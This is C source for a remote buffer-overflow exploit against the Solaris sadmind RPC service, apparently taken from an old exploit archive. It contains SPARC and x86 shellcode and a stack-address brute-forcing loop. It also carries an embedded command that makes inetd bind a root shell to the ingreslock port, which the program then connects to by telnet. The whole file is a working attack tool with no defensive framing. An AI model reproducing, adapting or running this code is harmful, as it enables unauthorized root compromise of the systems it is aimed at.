/*************************************************************************\
** **
** Super Solaris sadmin Exploit by optyx <optyx@uberhax0r.net> **
** based on sadminsparc. and sadminx86.c by Cheez Whiz **
** **
\*************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>
char shellsparc[] =
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
"\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
"\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
"\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
"\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
"\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
"\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
"\x2d\x63\xff";
char shellx86[] =
"\xeb\x45\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31"
"\xc0\x89\x46\xb7\x88\x46\xbc\x31\xc0\x50\x56\x8b"
"\x1e\xf7\xdb\x89\xf7\x83\xc7\x10\x57\x89\x3e\x83"
"\xc7\x08\x88\x47\xff\x89\x7e\x04\x83\xc7\x03\x88"
"\x47\xff\x89\x7e\x08\x01\xdf\x88\x47\xff\x89\x46"
"\x0c\xb0\x3b\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
"\xbe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\xff\x2d\x63\xff";
int buflen[] = { 1076, 1056 };
int addrlen[] = { 560, 8 };
int lens[] = { 84, 76 };
int offset[] = { 688, 572 };
int alignment[] = { 4, 0 };
long int nops[] = { 0x801bc00f, 0x90 };
int junks[] = { 512, 536 };
char command[] = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
"> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;";
unsigned long int sp[] = { 0xefff9580, 0xefff9418, 0x080418ec, 0x08041798 };
#define FRAMELEN1 608
#define FRAMELEN2 4200
#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1
#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"
#define FW_VERSION "VERSION"
#define CLIENT_DOMAIN "CLIENT_DOMAIN"
#define FENCE "FENCE"
struct nm_send_header {
struct timeval timeval1;
struct timeval timeval2;
struct timeval timeval3;
unsigned int uint1;
unsigned int uint2;
unsigned int uint3;
unsigned int uint4;
unsigned int uint5;
struct in_addr inaddr1;
struct in_addr inaddr2;
unsigned long ulong1;
unsigned long ulong2;
struct in_addr inaddr3;
unsigned long ulong3;
unsigned long ulong4;
unsigned long ulong5;
struct timeval timeval4;
unsigned int uint6;
struct timeval timeval5;
char *string1;
char *string2;
char *string3;
unsigned int uint7;
};
struct nm_send_arg_int {
char *string1;
unsigned int uint1;
unsigned int uint2;
int int1;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_arg_string {
char *string1;
unsigned int uint1;
unsigned int uint2;
char *string2;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_footer {
char *string1;
};
struct nm_send {
struct nm_send_header header;
struct nm_send_arg_int version;
struct nm_send_arg_string string;
struct nm_send_arg_int fence;
struct nm_send_footer footer;
};
struct nm_reply {
unsigned int uint1;
unsigned int uint2;
char *string1;
};
bool_t xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
char *addr;
size_t size = sizeof(struct in_addr);
if(!xdr_long(xdrs, &objp->timeval1.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval1.tv_usec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval2.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval2.tv_usec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval3.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval3.tv_usec))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint5))
return (FALSE);
addr = (char *) &objp->inaddr1.s_addr;
if(!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong1))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong2))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong3))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong4))
return (FALSE);
if(!xdr_u_long(xdrs, &objp->ulong5))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval4.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval4.tv_usec))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint6))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval5.tv_sec))
return (FALSE);
if(!xdr_long(xdrs, &objp->timeval5.tv_usec))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string3))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint7))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if(!xdr_int(xdrs, &objp->int1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
if(!xdr_nm_send_header(xdrs, &objp->header))
return (FALSE);
if(!xdr_nm_send_arg_int(xdrs, &objp->version))
return (FALSE);
if(!xdr_nm_send_arg_string(xdrs, &objp->string))
return (FALSE);
if(!xdr_nm_send_arg_int(xdrs, &objp->fence))
return (FALSE);
if(!xdr_nm_send_footer(xdrs, &objp->footer))
return (FALSE);
return (TRUE);
}
bool_t xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
if(!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if(!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
void usage(char *prog)
{
fprintf(stderr, "usage: %s -t target -a arch [-s size]", prog);
fprintf(stderr, " [-i increment] [-p]\n");
fprintf(stderr, "\tarchitectures:\n");
fprintf(stderr, "\t0 - Solaris SPARC 2.6\n");
fprintf(stderr, "\t1 - Solaris SPARC 2.7 (7.0)\n");
fprintf(stderr, "\t2 - Solaris x86 2.6\n");
fprintf(stderr, "\t3 - Solaris x86 2.7 (7.0)\n\n");
exit(-1);
}
int exp(char *host, int arch, unsigned long int sp, int pinging)
{
CLIENT *cl;
struct nm_send send;
struct nm_reply reply;
struct timeval tm;
enum clnt_stat stat;
int c, i, len, slen, clen, junk, a;
char *cp, *buf;
unsigned long int addr, fp;
a = (int) arch / 2;
buf = (char *) malloc(buflen[a] + 1);
if(a)
{
/* Solaris x86 */
memset(buf, nops[a], buflen[a]);
junk = junks[arch - 2];
junk &= 0xfffffffc;
for (i = 0, cp = buf + alignment[a]; i < junk / 4; i++)
{
*cp++ = (sp >> 0) & 0xff;
*cp++ = (sp >> 8) & 0xff;
*cp++ = (sp >> 16) & 0xff;
*cp++ = (sp >> 24) & 0xff;
}
addr = sp + offset[a];
for (i = 0; i < addrlen[a] / 4; i++)
{
*cp++ = (addr >> 0) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 24) & 0xff;
}
slen = strlen(shellx86);
clen = strlen(command);
len = clen;
len++;
len = -len;
shellx86[lens[a]+0] = (len >> 0) & 0xff;
shellx86[lens[a]+1] = (len >> 8) & 0xff;
shellx86[lens[a]+2] = (len >> 16) & 0xff;
shellx86[lens[a]+3] = (len >> 24) & 0xff;
cp = buf + buflen[a] - 1 - clen - slen;
memcpy(cp, shellx86, slen);
cp += slen;
memcpy(cp, command, clen);
cp += clen;
*cp = '\xff';
}
else
{
/* Solaris SPARC */
memset(buf, '\xff', buflen[a]);
fp = sp + FRAMELEN1 + FRAMELEN2;
fp &= 0xfffffff8;
addr = sp + offset[a];
addr &= 0xfffffffc;
for(i = 0, cp = buf + alignment[a]; i < addrlen[a] / 8; i++)
{
*cp++ = (fp >> 24) & 0xff;
*cp++ = (fp >> 16) & 0xff;
*cp++ = (fp >> 8) & 0xff;
*cp++ = (fp >> 0) & 0xff;
*cp++ = (addr >> 24) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 0) & 0xff;
}
slen = strlen(shellsparc);
clen = strlen(command);
len = buflen[a] - 1 - clen - slen - addrlen[a] - alignment[a];
len &= 0xfffffffc;
for(i = 0; i < lens[a] / 4; i++)
{
*cp++ = (nops[a] >> 24) & 0xff;
*cp++ = (nops[a] >> 16) & 0xff;
*cp++ = (nops[a] >> 8) & 0xff;
*cp++ = (nops[a] >> 0) & 0xff;
}
len = clen;
len++;
len = -len;
shellsparc[lens[a]+0] = (len >> 24) & 0xff;
shellsparc[lens[a]+1] = (len >> 16) & 0xff;
shellsparc[lens[a]+2] = (len >> 8) & 0xff;
shellsparc[lens[a]+3] = (len >> 0) & 0xff;
memcpy(cp, shellsparc, slen);
cp += slen;
memcpy(cp, command, clen);
}
buf[buflen[a]] = '\0';
memset(&send, 0, sizeof(struct nm_send));
send.header.uint2 = NETMGT_HEADER_TYPE;
send.header.string1 = "";
send.header.string2 = "";
send.header.string3 = "";
send.header.uint7 =
strlen(FW_VERSION) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(CLIENT_DOMAIN) + 1 +
(4 * sizeof(unsigned int)) + strlen(buf) + 1 +
strlen(FENCE) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(NETMGT_ENDOFARGS) + 1;
send.version.string1 = FW_VERSION;
send.version.uint1 = NETMGT_ARG_INT;
send.version.uint2 = sizeof(int);
send.version.int1 = 1;
send.string.string1 = CLIENT_DOMAIN;
send.string.uint1 = NETMGT_ARG_STRING;
send.string.uint2 = strlen(buf);
send.string.string2 = buf;
send.fence.string1 = FENCE;
send.fence.uint1 = NETMGT_ARG_INT;
send.fence.uint2 = sizeof(int);
send.fence.int1 = 666;
send.footer.string1 = NETMGT_ENDOFARGS;
cl = clnt_create(host, NETMGT_PROG, NETMGT_VERS, "udp");
if (cl == NULL)
{
clnt_pcreateerror("clnt_create");
return 0;
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
if (!pinging)
{
tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT;
tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
{
fprintf(stderr, "unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT;
tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
{
fprintf(stderr, "unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_SERVICE,
xdr_nm_send, (caddr_t) &send,
xdr_nm_reply, (caddr_t) &reply, tm);
if (stat != RPC_SUCCESS)
{
clnt_perror(cl, "clnt_call");
fprintf(stdout, "now check if exploit worked;\n");
return 0;
}
fprintf(stderr, "exploit failed; "
"RPC succeeded and returned { %u, %u, \"%s\" }\n",
reply.uint1, reply.uint2, reply.string1);
clnt_destroy(cl);
exit(1);
}
else
{
tm.tv_sec = NETMGT_UDP_PING_TIMEOUT;
tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
{
fprintf(stderr, "unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT;
tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
{
fprintf(stderr, "unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_PING,
xdr_void, NULL,
xdr_void, NULL, tm);
if (stat != RPC_SUCCESS)
{
clnt_perror(cl, "clnt_call");
exit(1);
}
clnt_destroy(cl);
return 0;
}
}
int main(int argc, char *argv[])
{
int i, arch;
char *host = "";
int pinging = 0, inc = 4, size = 2048;
unsigned long int addr;
for(i=0;i<argc;i++)
{
if(!strcmp(argv[i], "-t"))
host = argv[i+1];
if(!strcmp(argv[i], "-a"))
arch = atoi(argv[i+1]);
if(!strcmp(argv[i], "-i"))
inc = atoi(argv[i+1]);
if(!strcmp(argv[i], "-s"))
size = atoi(argv[i+1]);
if(!strcmp(argv[i], "-p"))
pinging = 1;
}
if(arch > 3 || arch < 0)
usage(argv[0]);
if(size < 0)
usage(argv[0]);
if(inc < 0)
usage(argv[0]);
for(i = 0; i < size; i+=inc)
{
addr = sp[arch] + i;
exp(host, arch, addr, pinging);
addr = sp[arch] - i;
exp(host, arch, addr, pinging);
}
execl("telnet", host, "ingreslock");
return 0;
}
// milw0rm.com [2000-12-01]
